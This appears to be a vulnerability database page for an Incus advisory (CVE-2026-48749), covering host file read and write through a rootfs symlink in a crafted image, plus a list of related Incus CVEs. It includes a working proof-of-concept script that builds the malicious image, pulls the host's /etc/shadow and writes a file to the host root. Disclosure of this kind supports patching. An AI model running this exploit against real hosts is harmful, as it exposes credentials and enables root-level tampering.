CVE-2026-48749: Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink.
Published Jun 26, 2026
Affected packages
github.com/lxc/incus/v7/cmd/incusd
- Ecosystem
- Go
- Affected
- < 7.2.0
- Fixed in
- 7.2.0
- Check
go list -m github.com/lxc/incus/v7/cmd/incusd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Credited to antifob, stgraber.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-48750
Incus has an arbitrary file write on host via `exec-output` symlink in crafted image
critical9.9Jun 26, 2026CVE-2026-48751
Incus has a restricted project bypass leading to arbitrary command execution
critical9.9Jun 26, 2026CVE-2026-48752
Incus has arbitrary file read+write on host via templates/ symlink in malicious image
critical9.9Jun 26, 2026CVE-2026-48753
Incus has an arbitrary file write via path traversal in S3 multipart upload
critical9.9Jun 26, 2026CVE-2026-48755
Incus has an argument injection in backup compression algorithm leading to AFW and ACE
critical9.9Jun 26, 2026CVE-2026-48769
Incus has an arbitrary file write on its client due to trusted image hash
critical9.9Jun 26, 2026
